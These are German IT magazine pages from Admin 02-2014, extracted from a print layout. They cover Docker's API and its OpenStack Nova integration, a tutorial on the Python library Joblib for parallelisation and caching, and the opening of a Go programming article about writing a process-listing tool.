Builds lässt sich obendrein zu jedem 

Zeitpunkt aus einem Image in einer bestimmten 

Version jederzeit wieder ein 

fertiges Container-File zur Weitergabe 

herstellen. Insgesamt ist der Umgang 

mit Containern also überaus elegant 

implementiert. 

Die Docker-API 

Eleganz kommt auch bei Dockers API 

zum Ausdruck: Das ist quasi eine zentrale 

Schalt- und Schnittstelle einer 

Docker-Installation, die sich über eine 

API nach dem ReSTful-Prinzip bedienen 

lässt. Sie ist im Hintergrund dafür 

verantwortlich, dass mittels »docker« 

auf der Kommandozeile eingegebene 

Befehle tatsächlich auch umgesetzt 

Abbildung 3: … Shipyard an, das ebenfalls etwas puritanisch daherkommt, aber alle wichtigen 

Funktionen mitbringt. 

werden. Sämtliche Docker-Befehle sind 

also letztlich verkappte API-Aufrufe, die 

Docker-API erledigt die echte Arbeit. 

Der Vorteil einer solchen Architektur 

liegt auf der Hand, denn mit der API 

als abstraktem Befehlsempfänger 

im Hintergrund sind der Fantasie bei 

der Entwicklung von Frontends kaum 

Grenzen gesetzt. Alle gängigen Cloud- 

Computing-Lösungen setzen auf ähnliche 

Designs, und wie bei Amazons EC2 

oder OpenStack hat sich das Prinzip 

auch bei Docker bewährt: Neben dem 

»docker«-Tool auf der Kommandozeile 

steht mittlerweile auch eine grafische 

Oberfläche namens Docker-UI [2] zur 

Verfügung (Abbildung 2). Und einen 

Konkurrenten dazu gibt es auch schon: 

Shipyard [3] buhlt ebenfalls um die 

Gunst der Nutzer (Abbildung 3). 

Cloud-Integration 

Docker qualifiziert sich mit seinen Fähigkeiten 

freilich auch für höhere Aufgaben. 

Wer kein vollständig virtualisiertes 

System benötigt, sondern lediglich 

Abbildung 4: Dieser Eintrag aktiviert den seit der Havana-Release in OpenStack vorhandenen 

Docker-Virtualisierungstreiber. 


Admin 

Ausgabe 02-2014

94 


Docker 

Abbildung 5: Der OpenStack-Image-Dienst Glance kann nach einer kleinen Änderung der Konfiguration Docker-Container als Images verwenden. 

n Info 

einen passenden Container – beispielsweise 

für Entwicklungszwecke – zieht 

aus Docker große Vorteile. So liegt 

es nur nahe, Docker auch in typische 

Cloud- und Virtualisierungslösungen 

zu integrieren – und in weitere Tools 

und Werkzeuge, die ebenfalls im Fahrwasser 

der großen Cloud-Umgebungen 

unterwegs sind. 

OpenStack dominiert den Markt der 

Open-Source-Clouds im Augenblick 

ganz eindeutig, das ist auch den 

Docker-Entwicklern offenbar nicht 

entgangen. Denn die Virtualisierungskomponente 

von OpenStack, Nova[4], 

kommt mittlerweile mit Unterstützung 

für Docker daher. 

Nova ist grundsätzlich modular aufgebaut, 

und die Virtualisierungstechnik, 

die zum Einsatz kommen soll, lässt 

sich per Plugin aktivieren. Deshalb 





[1] Docker-Dokumentaton: 

[http:// docs. docker. io/ en/ latest/] 

[2] Docker-UI: [https:// github. com/ 

crosbymichael/ dockerui] 

[3] Shipyard: [https:// github. com/ shipyard] 

[4] OpenStack Nova: [htp:// nova. openstack. org/] 

[5] Bugreport zu Docker in Nova: [https:// bugs. 

launchpad. net/ nova/ +bug/ 1247295] 

n Autor 

Martin Gerhard Loschwitz arbeitet als Principal Consultant 

bei hastexo. Er beschäftigt sich dort intensiv 

mit Hochverfügbarkeitslösungen und pflegt in seiner 

Freizeit den Linux-Cluster-Stack für Debian GNU/ 

Linux. 

lässt sich über einen simplen Eintrag 

in »nova.conf« steuern, welche Technik 

die OpenStack-Komponente im Hintergrund 

einsetzt; zur Auswahl stehen zum 

Beispiel KVM, HyperV und VMware. Und 

neuerdings auch Docker (Abbildung 4): 

OpenStack startet dann im Hintergrund 

keine komplette VM, sondern legt einen 

Docker-Container an, der als virtuelles 

System mit eigener Funktionalität 

aufwartet. Die Integration von Docker 

ist dabei nahtlos, einen Unterschied erkennt 

man zwischen einer mit KVM gestarteten 

Voll-VM und Docker zunächst 

nicht. Im Detail wird aber deutlich, dass 

qualitative Unterschiede vorhanden 

sind. 

Die hängen zum Teil mit den Anforderungen 

zusammen, die Docker an sich 

selbst stellt: Weil die Anwendung nach 

innen wie beschrieben stets das gleiche 

System präsentieren möchte, muss sie 

sich auf der Außenseite verbiegen. Das 

erfordert einen hohen Grad an Anpassbarkeit 

im Hinblick auf verschiedene 

Faktoren, zum Beispiel das Thema 

Netzwerk. 

Der Docker-Treiber in Nova unterstützt 

aber in der Havana-Release von 

OpenStack lediglich den alten Netzwerkstack 

»nova‐network«, der vermutlich 

in der übernächsten Release 

aus OpenStack entfernt werden wird. 

Ein Bug-Report in Launchpad legt den 

Verdacht nahe, dass es sich um einen 

Bug handelt, und nicht etwa um ein 

bewusst noch nicht implementiertes 

Feature [5]. Wer OpenStack mit dem 

zukunftsträchtigen Neutron-SDN-Stack 

einsetzt, schaut also vorerst ins Leere. 

Gerade weil Docker gerade ein echtes 

Hype-Thema ist, dürfte der Fehler allerdings 

in absehbarer Zeit korrigiert 

werden. Wie reif die Docker-Implementation 

in Nova ist, lässt sich auf diese 

Weise allerdings kaum beurteilen. 

Fazit 

Docker erweitert LXC um eine ganze 

Reihe nützlicher Features, die die Software 

deutlich attraktiver machen. Die 

Entwickler der Lösung richten Docker 

zwar maßgeblich auf die Anforderung 

aus, Anwendungen im Container- 

Format schnell und einfach verteilen zu 

können, sodass sie auf jedem System 

sofort lauffähig sind. Doch in der Realität 

dürfte Docker vor allem für jene Setups 

interessant werden, in denen zwar 

Virtualisierung gewünscht ist, jedoch 

nicht der Overhead eines zur Gänze virtualisierten 

System. 

Hier erlaubt Docker einen attraktiven 

Mittelweg – es kommt ja auch nicht von 

ungefähr, dass die Software viele Fans 

hat und gerade einen ziemlichen Hype 

erlebt. Gerade in der Kombination mit 

einem schlanken OpenStack-Setup 

könnte sich Docker zu einem wirklich 

nützlichen Werkzeug für viele Aufgaben 

entwickeln. Viele praktische Tools 

bringt es dafür jedenfalls bereits jetzt 

mit. 

Allerdings müsste für ein funktionstüchtiges 

Setup der Docker-Treiber von 

OpenStack Nova einen funktionstüchtigen 

Zustand erreichen und sollte dabei 

auch keine Software aus der grauen 

Vorzeit voraussetzen. Wer Docker ohne 

Anbindung an Frameworks wie Open- 

Stack betreiben will, findet allerdings 

schon heute ein verlässliches Werkzeug. 

Verlässlich vor allem deshalb, weil 

die Docker-API sehr vielseitig ist und 

beispielsweise neben den bereits erwähnten 

Features auch eine nahtlose 

Anbindung an Automatisierungs-Tools 

wie Puppet und Chef ermöglicht. Alles 

in allem hat Docker also echte Chancen, 

Admins Darling zu werden. Einen 

näheren Blick ist es auf alle Fälle wert. 

(jcb) n 


96 

Programmieren 

Python Joblib 

Galina Peshkova, 123RF 

Mit Joblib Python-Programme parallelisieren und memorisieren 

Eine Bibliothek für 

viele Jobs 

Parallelisierung, Memorization sowie Speichern und Laden von Objekten: Die Python-Bibliothek Joblib 

erledigt häufige Problemstellungen im Handumdrehen und lässt Programmierer damit sofort zum Kern 

ihrer Arbeit vordringen. Carsten Schnober 

In den letzten Jahren bereichern neue 

Programmierkonzepte die Computerwelt. 

Statt der Geschwindigkeit der 

Prozessoren nimmt in vielen Rechenzentren 

vielmehr deren Anzahl zu. Die 

parallele Verarbeitung erlaubt den 

Umgang mit großen Datenmengen, 

erfordert aber auch einen oft heiklen 

Übergang von traditionellen, sequenziellen 

Vorgehensweisen zu eigens 

angepassten Methoden. Die Python- 

Bibliothek Joblib erspart bei typischen 

Vorgehensweisen wie Caching und 

Parallelisierung viel fehlerträchtige Programmierarbeit. 

Manche aufwendige Aufgaben drängen 

sich förmlich auf für eine parallelisierte 

Verarbeitung. Große Datensätze, in 

denen jeder Eintrag voneinander unabhängig 

steht, lassen sich hervorragend 

von vielen Prozessoren gleichzeitig 

verarbeiten (siehe Abbildung 1). Solche 

für die Parallelisierung prädestinierten 

Aufgaben heißen auf Englisch 

embarrassingly parallel, zu Deutsch 

etwa „peinlich parallel“. Wo genau der 

Ausdruck herkommt, ist unklar, aber er 

deutet an, dass die Umwandlung eines 

solchen Algorithmus in eine parallelisierte 

Version nicht lange dauern sollte. 

Erfahrene Entwickler wissen andererseits, 

dass in der alltäglichen Programmierpraxis 

bei jeder Neuimplementierung 

mehr oder weniger große 

Probleme auftreten und dass man sich 

schnell in implementatorischen Details 

verzettelt. Für die umstandslose Lösung 

von Embarassingly-parallel-Aufgaben 

stellt das Modul Joblib deshalb die 

Klasse »Parallel« bereit. Es setzt eine 

beliebige Funktion voraus, die genau 

ein Argument entgegennimmt. 

Parallele Dekoration 

Für die Zusammenarbeit zwischen 

»Parallel« und der besagten Funktion, 

beispielsweise »f(x)«, liefert Joblib 

die Methode »delayed()« mit, die als 

Decorator dient. Listing 1 zeigt ein einfaches 

Beispiel mit einer Beispielimplementation 

von »f(x)«, die lediglich »x« 


Programmieren 

Python Joblib 

97 

unverändert zurückgibt. Die in Listing 1 

gezeigte »for«-Schleife iteriert über eine 

Liste »l« und übergibt die einzelnen 

Werte an »f(x)«, jedes Listenelement 

aus »l« resultiert in einem eigenen Job. 

Den interessantesten Teil erledigt 

dabei das ad hoc generierte anonyme 

»Parallel«-Objekt. Es verteilt die Aufrufe 

von »f(x)« auf die verschiedenen CPUs 

oder Prozessorkerne im Rechner. Wie 

viele es nutzt, bestimmt das Argument 

»n_jobs«. Standardmäßig steht es auf 

1, sodass Parallel nur einen Unterprozess 

startet. Setzt man es auf ‐1, verwendet 

es alle vorhandenen Prozessorkerne, 

bei ‐2 lässt es einen unbenutzt, 

bei ‐3 einen weiteren und so weiter. Alternativ 

nimmt »n_jobs« positive Ganzzahlen 

entgegen, die direkt die Anzahl 

zu verwendender Prozesse definiert. 

Der Wert von »n_jobs« darf auch über 

der Anzahl physisch verfügbarer Prozessorkerne 

liegen; die Parallel-Klasse 

startet einfach die per »n_jobs« definierte 

Anzahl von Python-Prozessen 

und das Betriebssystem lässt sie 

nebeneinander laufen. Dies bedeutet 

übrigens auch, dass der Austausch globaler 

Variablen zwischen den einzelnen 

Jobs unmöglich ist, denn verschiedene 

Betriebssystemprozesse können nicht 

direkt untereinander kommunizieren. 

Parallel umgeht diese Einschränkung, 

indem es die nötigen Objekte serialisiert 

und zwischenspeichert. 

Die optimale Anzahl von Prozessen 

hängt vor allem von der Art der zu 

bewältigenden Aufgaben ab. Liegt ihr 

Flaschenhals weniger in der Prozessorleistung 

als im Lesen und Schreiben 

von Daten auf die lokale Festplatte 

oder übers Netzwerk, darf die Zahl der 

Prozesse höher liegen; als Faustregel 

dient hier häufig etwa die Anzahl der 

vorhandenen Prozessorkerne mal 1,5. 

Lastet jeder Prozess hingegen eine CPU 

dauerhaft voll aus, sollte sie nicht über 

der Zahl physisch vorhandener Prozessoren 

liegen. 

Wie läuft’s? 

Des Weiteren bietet die Parallel-Klasse 

mithilfe des optionalen »verbose«- 

Arguments die regelmäßige Ausgabe 

von Statusmeldungen an, die den Gesamtfortschritt 

veranschaulichen. Sie 

Liste / Collection 

zeigen die Anzahl abgearbeiteter und 

verbleibender Jobs sowie falls möglich 

die geschätzte Rest- und die bereits 

verstrichene Zeit. »verbose« steht per 

Vorgabe auf 0; setzt man eine beliebige 

positive Zahl ein, erhöht man die 

Ausgabefrequenz. Dabei gilt: je höher 

der Wert von »verbose«, desto mehr 

Zwischenstufen gibt Joblib aus. Listing 

2 zeigt eine typische Ausgabe. 

Die genaue Anzahl der Zwischenberichte 

schwankt, weil zu Beginn der 

Ausführung häufig noch unklar ist, wie 

viele Jobs insgesamt anstehen, es handelt 

sich also nur um einen Näherungswert. 

Setzt man »verbose« auf einen 

Wert über 10, gibt Parallel nach jeder 

einzelnen Iteration den aktuellen Status 

aus. Außerdem bietet das Argument 

die Möglichkeit, die Ausgabe umzuleiten: 

Steht »verbose« auf einem Wert 

von über 50, schreibt Parallel die Statusberichte 

auf die Standardausgabe, 

liegt er darunter, verwendet er »stderr«, 

also den Fehlerkanal der ausführenden 

Shell. 

Als drittes, ebenfalls optionales Argument 

nimmt Parallel »pre_dispatch« 

an. Es definiert, wie viele der Jobs die 

Klasse sofort zur Verarbeitung einreiht. 

Standardmäßig lädt es direkt 

alle Listenelemente in den Speicher, 

»pre_dispatch« steht auf »'all'«. Beansprucht 

die Verarbeitung allerdings viel 

Arbeitsspeicher, bietet ein geringerer 

Wert eine Gelegenheit, RAM zu sparen. 

Dazu übergibt man hier einen positiven 

Integer-Wert. 

Multiprocessing-Modul 

bequem 

Mit der Parallel-Klasse bietet Joblib im 

Wesentlichen eine bequeme Schnittstelle 

für das zu Python gehörige Modul 

»multiprocessing«. Es unterstützt die 

gleiche Funktionalität, aber die Kombination 

von Parallel und »delayed()« re- 

01 from joblib import Parallel, delayed 

02 

03 def f(x): 

04 return x 

05 

06 l = range(5) 

01 Parallel(n_jobs=2, verbose=5)(delayed(f)(i) for i in l)) 

02 

Element 1 

Element 2 

Element 3 

Element 4 

Element 5 

Element 6 

Element 7 

... 

Jobs 1, 2, 4, 7, ... 

Jobs 3, 5, ... 

n Listing 2: Parallel mit Statusberichten 

CPU 1 

CPU 2 

n Listing 1: Joblib: embarassingly parallel 

07 results = Parallel(n_jobs=‐1)(delayed(f)(i) for 

i in l)) 

03 [Parallel(n_jobs=2)]: Done 1 out of 181 | elapsed: 0.0s remaining: 4.5s 





08 [Parallel(n_jobs=2)]: Done 1000 out of 1000 | elapsed: 5.5s finished 

Ergebnis 1 

Ergebnis 2 

Ergebnis 3 

Ergebnis 4 

Ergebnis 5 

Ergebnis 6 

Ergebnis 7 

... 

Abbildung 1: Probleme, bei denen sich Eingabeobjekte unabhängig voneinander nebenläufig verarbeiten 

lassen, heißen embarassingly parallel. 


Admin 

Ausgabe 02-2014

98 

Programmieren 

Python Joblib 

Ergebnis 

Modul »pickle« das Ergebnis im Python- 

Interpreter wieder ein: 

Argument(e) x 

für f() 

Memory.cache() 

duzieren den Implementationsaufwand 

einfacher Parallelisierungsaufgaben auf 

eine Zeile. Dazu gibt es Statusausgaben 

und Konfigurationsmöglichkeiten mit 

jeweils einem Argument. 

Ergebnis f(x) 

im Cache? 

nein 

ja 

Funktion f(x) 

Abbildung 2: Memory speichert Funktionsergebnisse ab und liefert sie bei erneuter Anfrage aus, 

ohne nachzurechnen. 

n Listing 3: Funktionsergebnisse speichern 

01 from joblib import Memory 

02 

03 memory = Memory(cachedir='/tmp/example/') 

04 

05 @memory.cache 

06 def f(x): 

07 return x 

Im Gedächtnis 

Das vorherige Beispiel bediente sich 

einer kleinen und praktisch sinnlosen 

Funktion »f(x)«. Ob parallelisiert oder 

nicht, manche Funktionen erledigen 

hingegen sehr Zeit- und Ressourcenaufwendige 

Berechnungen. Sind die 

Eingabewerte vor dem Programmstart 

unbekannt, verarbeitet eine solche 

Funktion womöglich mehrfach dieselben 

Argumente; möglicherweise ein 

unnötiger Aufwand. 

Es liegt bei aufwendigeren Funktionen 

also nahe, deren Ergebnisse abzuspeichern 

(Memorization). Für den Fall, 

dass sie mit demselben Argument 

aufgerufen wird, greift sie so direkt auf 

das Ergebnis zurück, statt es erneut 

auszurechnen. Auch hier greift Joblib 

dem Programmierer mit der Klasse 

»Memory« unter die Arme. 

Sie stellt eine Methode »cache()« bereit, 

die als Decorator für beliebige Funktionen 

mit einem oder mehreren Funktionsargumenten 

dient. Ergebnisse der 

so dekorierten Funktion speichert das 

Memory-Objekt dann auf der Festplatte 

ab; beim nächsten Aufruf prüft sie, ob 

das gleiche Argument oder die gleichen 

Argumente bereits verarbeitet wurden 

und liefert gegebenenfalls direkt das 

Ergebnis aus (Abbildung 2). Listing 3 

zeigt eine Implementation, wieder mit 

einer primitiven Beispielfunktion »f(x)«. 

Die berechneten Ergebnisse landen 

auf der Festplatte im Verzeichnis »joblib« 

unterhalb des mit dem Parameter 

»cachedir« definierten Verzeichnisses. 

Darin erhält jede memorisierte Funktion 

wieder ein eigenes Unterverzeichnis, 

das unter anderem in der Datei 

»func_code.py« den Original-Python- 

Quellcode der Funktion enthält. 

Namensgedächtnis 

Weiterhin steht für jedes unterschiedliche 

Argument – oder je nach Funktion 

unterschiedliche Kombinationen 

mehrerer Argumente – ein eigenes 

Unterverzeichnis zur Verfügung. Es 

trägt den Namen eines Hash-Werts der 

übergebenen Argumente und enthält 

zwei Dateien: »input_args.json« und 

»output.pkl«. Die erste offenbart die 

Eingabeargumente im für Menschen 

lesbaren JSON-Format, die zweite das 

zugehörige Ergebnis im binären Pickle- 

Format, das Python zur Serialisierung 

und zum Speichern von Objekten verwendet. 

Diese Struktur macht den Zugriff auf 

die von Memory zwischengespeicherten 

Funktionsergebnisse angenehm 

transparent. So liest etwa das Python- 

import pickle 

result = pickle.load(open("output.pkl")) 

Memory räumt am Programmende 

aber nicht selbstständig auf. Das heißt, 

dass gespeicherte Ergebnisse auch 

beim nächsten Programmstart weiterhin 

zur Verfügung stehen. Es bedeutet 

aber auch, dass man den Festplattenplatz 

bei Bedarf selbst wieder freigeben 

muss. Das geschieht entweder durch 

den Aufruf der »clear()«-Methode des 

verwendeten Memory-Objekts oder indem 

man das entsprechende Verzeichnis 

einfach löscht. 

Daneben gilt es zu beachten, dass 

sich Memory beim Auslesen der gespeicherten 

Ergebnisse ausschließlich 

am Namen der Funktion orientiert. 

Ändert man deren Implementation, 

gibt Memory beim nächsten Start womöglich 

fälschlicherweise die zuvor 

von der alten Version der Funktion 

erzeugten Ergebnisse erneut aus. Des 

Weiteren funktioniert Memory nicht mit 

»lambda«-Funktionen, also namenlosen 

Funktionen, die direkt beim Aufruf 

definiert werden. 

Generell empfiehlt sich der Einsatz der 

Memory-Klasse vor allem bei Funktionen, 

deren Ergebnisse so groß sind, 

dass sie den Arbeitsspeicher über Gebühr 

belasten. Produziert eine häufig 

aufgerufene Funktion hingegen nur 

kleine Ergebnisse, empfiehlt es sich 

eher, beispielsweise einen Dictionarybasierten 

Cache im Arbeitsspeicher 

einzurichten. [2] zeigt dafür eine Beispielimplementation. 

Schnell und sparsam 

Die Memory-Klasse verwendet auf 

Wunsch ein Verfahren, das bei großen 

gespeicherten Objekten viel Zeit spart: 

Memory Mapping. Die Kernidee dieses 

Konzepts besteht darin, eine Datei 

als Bit-für-Bit-Kopie eines Objekts aus 

dem Arbeitsspeicher auf die Festplatte 

zu schreiben. Wenn die Software das 

Objekt wieder öffnet, kopiert sie den 

relevanten Teil der Datei in einen zusammenhängenden 

Speicherbereich, 

sodass die darin enthaltenen Objekte 


Programmieren 

Python Joblib 

99 

direkt zur Verfügung stehen. Das erspart 

dem System die Allokation von 

Speicher und damit unter Umständen 

viele Systemaufrufe. 

Joblib greift auf die vom Python-Modul 

Numpy [3] bereitgestellte Memory- 

Mapping-Methode zurück. Der Konstruktor 

der Memory-Klasse nimmt mit 

dem optionalen Parameter »mmap_ 

mode« dieselben Argumente wie die 

Klasse »numpy.memmap« entgegen: 

»r+«, »r«, »w+« und »c«. 

Memory Mapping 

Im Normalfall empfiehlt sich »mmap_ 

mode='r+'« zur Aktivierung des Memory 

Mappings. Dieser Wert öffnet eine gegebenenfalls 

bestehende Datei und hängt 

an sie neue Daten an. Bei den anderen 

Modi schreibt Memory keine neuen Daten, 

sondern liest nur existierende aus 

der Datei aus (»r«) oder überschreibt 

die bestehenden Daten (»w+«). Mit »c« 

(copy-on-write) behandelt Memory 

die Datei auf der Platte wie mit »r« als 

unveränderbar, hält neue Zuweisungen 

aber dennoch im Speicher vor. 

Wer statt Zeit vor allem Festplattenspeicher 

sparen muss, initialisiert das 

Memory-Objekt mit dem Argument 

»compress=True«. Damit komprimiert 

Memory die Funktionsergebnisse beim 

Speichern auf die Festplatte. Allerdings 

schließt das die Möglichkeit zum Memory 

Mapping aus. 

Schließlich bietet auch die Memory- 

Klasse die Möglichkeit, Statusmeldungen 

auszugeben. Ihr Konstruktorparameter 

»verbose« steht standardmäßig 

auf 1, damit gibt »cache()« bei jedem 

Aufruf einer memorisierten Funktion 

eine Statusmeldung aus, wenn sie ein 

Ergebnis neu berechnet. Setzt man 

»verbose=0«, bleiben diese mitunter 

sehr zahlreichen Statusberichte aus. 

Setzt man den Wert hingegen höher, 

berichtet Memory bei jedem Aufruf der 

Funktion, ob das Ergebnis in einer Datei 

vorliegt oder neu berechnet wird. 

Zu guter Letzt nimmt »cache()« mit 

dem Parameter »ignore« eine Liste von 

Funktionsargumenten entgegen, die es 

beim Memorisieren ignoriert. Das bietet 

sich an, wenn einzelne Funktionsargumente 

nur die Bildschirmausgabe 

beeinflussen, aber nicht das Funktionsergebnis. 

Listing 4 zeigt die Funktion 

»f(x)« mit dem Zusatzargument »verbose«, 

dessen Wert für den Rückgabewert 

der Funktion keine Rolle spielt. 

Auf die Platte 

Schließlich bietet Joblib noch zwei 

Funktionen zum Speichern und Laden 

von Python-Objekten: »joblib.dump()« 

und »joblib.load()«. Sie kommen auch 

in der Memory-Klasse zum Einsatz, 

funktionieren jedoch auch unabhängig 

davon und ersetzen die von Pythons 

»pickle«-Modul angebotenen Mechanismen 

zur Serialisierung von Objekten 

durch häufig effizientere Methoden. 

Insbesondere große Numpy-Arrays 

speichert Joblib platzsparend und 

schnell ab. 

»joblib.dump()« nimmt ein beliebiges 

Python-Objekt und einen Dateinamen 

als Argumente entgegen, ohne weitere 

Angaben landet das besagte Objekt in 

der angegebenen Datei. »joblib.load()«, 

mit demselben Dateinamen aufgerufen, 

stellt dieses Objekt wieder her: 

import joblib 

x = ... 

joblib.dump(x, 'file') 

... 

x = joblib.load('file') 

Wie Memory kennt auch »dump()« den 

optionalen Parameter »compress«. 

Hier steht eine Zahl von 0 bis 9, die den 

Kompressionsgrad angibt; 0 bedeutet 

gar keine Komprimierung, 9 verbraucht 

den wenigsten Plattenspeicher, aber 

auch am meisten Zeit. In Kombination 

mit »compress« legt außerdem das 

Argument »cache_size« fest, wie viel 

Arbeitsspeicher Joblib verwendet, 

um Daten darin zunächst schnell zu 

komprimieren, bevor es sie auf die 

Festplatte schreibt. Der angegebene 

Wert beschreibt die Größenordnung in 

MByte; es handelt sich jedoch lediglich 

um eine Schätzung, die Joblib bei Bedarf 

überschreitet, etwa bei sehr großen 

Numpy-Arrays. 

Das »dump()«-Komplement »load()« 

bedient sich optional ebenfalls – wie 

die Memory-Klasse – des Memory- 

Mapping-Verfahrens. Das Argument 

»mmap_mode« aktiviert es mit dem 

n Listing 4: Einzelne Argumente ignorieren 

01 from joblib import Memory 

02 

03 memory = Memory() 

04 

05 @memory.cache(ignore=['verbose']) 

06 def f(x, verbose=0): 

07 if verbose > 0: 

08 print('Running f(x).') 

09 return x 

gleichen Parameter und möglichen 

Werten wie bei Memory: »r+«, »r«, »w+« 

und »c« dienen zum Lesen und Schreiben, 

ausschließlichen Lesen, Überschreiben 

beziehungsweise Nur-Lesen 

und im Arbeitsspeicher Ergänzen. 

Wertvoller Helfer 

Der Wert der Joblib-Bibliothek ist 

kaum zu überschätzen. Sie löst häufige 

Aufgaben im Handumdrehen mit einer 

intuitiven Schnittstelle. Die Problemstellungen 

– einfache Parallelisierung, 

Memorization sowie Speichern und 

Laden von Objekten – begegnen Programmierern 

in der Praxis häufig. Hier 

finden sie eine bequeme Lösung, die es 

ihnen erlaubt, sich sofort den eigentlichen 

Problemen zu widmen. 

Joblib gehört bei den meisten Distributionen 

zum Lieferumfang und lässt sich 

andernfalls mit den Python-Paketverwaltungswerkzeugen 

Easy Install und 

Pip umstandlos einspielen: »easy_install 

joblib« oder »pip install joblib«. Das 

geht schnell, denn ein weiterer Vorteil 

der Joblib-Bibliothek liegt darin, dass 

sie außer Python selbst keine anderen 

Pakete benötigt. n 

n Info 





[1] Joblib für Python: [http:// pythonhosted. org/ 

joblib/] 

[2] Caching im Arbeitsspeicher mit Python: [http:// 

code. activestate. com/ recipes/ 52201/] 

[3] Python-Bibliothek Numpy: [http:// www. 

numpy. org/] 


Admin 

Ausgabe 02-2014

nomadsoul1, 123RF 

Programmieren in Go 

Kurzer Prozess 

Die Programmiersprache Go vereint Typsicherheit mit überschaubarer Syntax und einer umfangreichen 

Bibliothek. Ein kleines Tool zum Anzeigen von Prozessen demonstriert die Programmierung. Oliver Frommel 

Im November letzten Jahres feierte 

die Programmiersprache Go ihren 

vierten Geburtstag und konnte bei 

dieser Gelegenheit feststellen: Sie wird 

immer populärer. Neuestes Beispiel 

einer in Go geschriebenen Software ist 

das Container-Virtualisierungsprojekt 

Docker, aber auch Ubuntu schreibt das 

Juju-Projekt in Go neu. 

Ob sich Go zur Systemprogrammierung 

gut eignet, ist umstritten, doch zur Beantwortung 

dieser Frage müsste man 

erst einmal klären, was man überhaupt 

darunter versteht. Für einen Betriebssystem-Kernel 

eignet sich die Sprache 

wohl weniger gut, auch wenn selbst 

dies Einzelne schon versucht haben. 

Abgesehen davon sind Go aber wenige 

Grenzen gesetzt, wenn es darum geht, 

Unix-Daemons, Netzwerk-Code, parallelisierte 

Programme und dergleichen 

mehr zu schreiben. 

Als ausgesprochener Erbe der Programmiersprache 

C konzipiert (siehe 

[1]), bietet es viele Möglichkeiten des 

Vorgängers, vereinfacht aber die Syntax 

und unterstützt sicheres Programmieren 

beispielsweise durch starke Typisierung. 

Über das Unsafe-Modul gleicht 

sich Go noch mehr an C an, aber die 

Sicherheit geht, wie der Modulname 

bereits nahelegt, verloren. 

Die Standard-Library [2] von Go ist 

äußerst umfangreich und bietet zur 

Systemprogrammierung viele nützliche 

Module, etwa für Datenkomprimierung, 

Kryptografie, Binärdateiformate (ELF, 

Mach-O), die Arbeit mit Dateien und 

viele mehr. In diesem Artikel soll ein 

einfaches in Go geschriebenes Tool entstehen, 

das eine ähnliche Funktion hat 

wie das »ps«-Tool unter Linux. 

Go-Projekte 

Zunächst einmal muss man ein paar 

Worte über die etwas eigentümliche 

Verzeichnisstruktur verlieren, die 

für Go-Projekte vorgesehen ist. Man 

kann nicht einfach irgendwo seine 

Quellcode-Dateien ablegen und sie 

dann kompilieren, sondern muss einem 

bestimmten Schema folgen, damit 

das Build- und Projekttool »go« richtig 

funktioniert. Die Umgebungsvariable 

»GOPATH« legt das Verzeichnis fest, in 

dem sich alle Go-Projekte befinden. 

Darunter sind die Verzeichnisse »dist«, 

»bin« und »src« angesiedelt, von denen 

letzteres den Quellcode enthält – allerdings 

unterhalb weiterer Verzeichnisse, 

die ein Paket oder Projekt eindeutig 

identifizieren. Im Prinzip kann das jeder 

beliebige String sein, aber meistens 

verwendet man dafür beispielsweise 

die eigene Domain, gefolgt von einem 

Projektnamen, etwa »admin‐magazin. 

de/Projekt« (Abbildung 1). Das Tool 

»go« lädt auch Projekte aus dem Internet, 

etwa von Github, die dann in »$GO- 

PATH/src/github.com/Projekt« landen. 

Im Beispiel sollen die Projekte in 

»$HOME/gocode« liegen. Die Umge- 


Programmieren 

Go 

101 

bungsvariable dafür setzt »export 

GOPATH=$HOME/gocode«. Der folgende 

Aufruf legt das Projektverzeichnis 

für das noch zu programmierende 

Tool »lap« (List All Processes) an: 

Maps und Channels iteriert. Mit nur 

einer Laufvariable weist »range« dieser 

den Array-Index zu. Einer zweiten Variablen 

weist Go automatisch den Inhalt 

des entsprechenden Array-Elements zu. 

mkdir ‐p src/admin‐magazin.de/lap 

Wer hier nun ein kleines Hello-World- 

File ablegt (siehe [1]), kann das Projekt 

folgendermaßen kompilieren: 

go build admin‐magazin.de/lap 

Bei einem Blick in die Datei »GOPATH/ 

bin« wird man aber feststellen, dass 

dort keine Datei liegt. Dorthin kopiert 

»go« das Binary nämlich nur mit dem 

»install«-Befehl, den man am besten 

gleich statt »build« verwendet. Programmbibliotheken 

landen in »GO- 

PATH/pkg«. Die Object Files lassen sich 

per »go clean Package« wieder entfernen, 

mit einem zusätzlichen Schalter 

entfernt »go clean ‐f« auch die Binaries 

wieder. 

Die Idee hinter »lap« ist recht simpel. 

Unter Linux findet sich im Proc-Dateisystem 

»/proc« für jeden laufenden 

Prozess ein virtuelles Verzeichnis mit 

der Prozess-ID als Name. Darunter befinden 

sich eine ganze Reihe virtueller 

Dateien mit Informationen zu diesem 

Prozess, darunter die Dateien »stat« 

und »status«, die etwa die Parent-Prozess-ID, 

den Eigentümer, die Startzeit 

und so weiter enthalten. 

Dateien verarbeiten 

Die erste Aufgabe besteht also darin, 

die Dateien in »/proc« aufzulisten und 

diejenigen mit den Prozessinfos herauszufiltern. 

Sie lässt sich recht einfach 

mit der Funktion »filepath.Glob« erledigen, 

die alle Dateinamen in einem 

Array zurückgibt, die auf ein bestimmtes 

Muster passen. Der folgende Ansatz 

geht einen kleinen Umweg, um ein paar 

Aspekte von Schleifen und String-Verarbeitung 

in Go zu demonstrieren. 

Den Inhalt eines Verzeichnisses liefert 

ein Aufruf der Funktion »ReadDir« im 

»ioutils«-Paket. Um die Einträge alle 

durchzugehen, verwendet man die For- 

Schleife mit einer Range-Expression, 

mit der man über Arrays, Slices, Strings, 

entries, err := ioutil.ReadDir(procDir) 

for index, proc := range entries { 

// do something with proc 

} 

Das akzeptiert der Go-Compiler nur, 

wenn man mit der Variable »index« 

auch etwas anfängt. Will man das 

nicht, kann man stattdessen auch 

den Go-Platzhalter für Variablen »_« 

verwenden. Ein »proc« ist im Beispiel 

vom Typ »os.FileInfo«, der ein Interface 

implementiert, das unter anderem den 

Aufruf »Name()« einschließt, um den 

Dateinamen auszulesen. 

Unicode-Support 

Herauszufinden, ob das erste Zeichen 

eine Zahl ist, gestaltet sich etwas 

schwieriger, weil Go zur Zeichen-Codierung 

UTF-8 verwendet – was an sich ja 

eine prima Sache ist. Weil UTF-8 aber 

ein Format ist, das zwischen einem 

und vier Bytes für ein Zeichen benutzt, 

ist nicht von vornherein klar, wieviele 

Bytes das erste Zeichen umfasst. Typischerweise 

wandern Go-Programmierer 

Stück für Stück durch ein Byte-Array 

und entschlüssen dabei, wann ein 

neuer UTF-8 Character anfängt. Mit 

einem Typecast macht Go das automatisch 

